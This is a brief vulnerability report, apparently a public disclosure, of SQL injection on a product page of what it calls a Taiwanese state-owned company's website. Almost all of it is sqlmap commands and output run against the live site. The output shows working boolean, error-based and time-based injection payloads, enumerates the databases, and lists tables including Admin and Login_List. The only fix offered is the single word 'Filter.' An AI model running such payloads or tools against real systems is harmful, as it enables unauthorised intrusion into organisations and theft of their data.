Website injection of a certain State-owned company in Taiwan

Website injection of a certain State-owned company in Taiwan

My skates are the most fashionable and fashionable...

Code Region

http://**.**.**.**/product/products.php?cid=3

Code Region

[09:26:22] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL 5.0[09:26:22] [INFO] fetching database names[09:26:22] [INFO] the SQL query used returns 3 entries[09:26:23] [INFO] retrieved: information_schema[09:26:23] [INFO] retrieved: 168green-glowcom[09:26:23] [INFO] retrieved: test_dbavailable databases [3]:[*] 168green-glowcom[*] information_schema[*] test_db

Code Region

C:\admin\sqlmap>sqlmap.py -u "http://**.**.**.**/product/products.php?cid=3" -v 1 --tables -D "168green-glowcom" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20151124}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 09:37:30[09:37:31] [INFO] resuming back-end DBMS 'mysql'[09:37:31] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: cid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cid=3 AND 4841=4841 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: cid=3 AND (SELECT 3685 FROM(SELECT COUNT(*),CONCAT(0x71626a7071,(SELECT (CASE WHEN (3685=3685) THEN 1 ELSE 0 END)),0x7176706b71,FLOOR(RAND(0)*2))xFROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cid=3 AND SLEEP(5)---[09:37:32] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL 5.0[09:37:32] [INFO] fetching tables for database: '168green-glowcom'[09:37:32] [INFO] heuristics detected web page charset 'ascii'[09:37:32] [INFO] the SQL query used returns 8 entries[09:37:32] [INFO] retrieved: Admin[09:37:34] [INFO] retrieved: Bag[09:37:34] [INFO] retrieved: Contact[09:37:34] [INFO] retrieved: Counter[09:37:34] [INFO] retrieved: Login_List[09:37:34] [INFO] retrieved: Mail[09:37:34] [INFO] retrieved: News[09:37:34] [INFO] retrieved: ProductsDatabase: 168green-glowcom[8 tables]+------------+| Admin || Bag || Contact || Counter || Login_List || Mail || News || Products |+------------+[*] shutting down at 09:37:34

Solution:

Filter.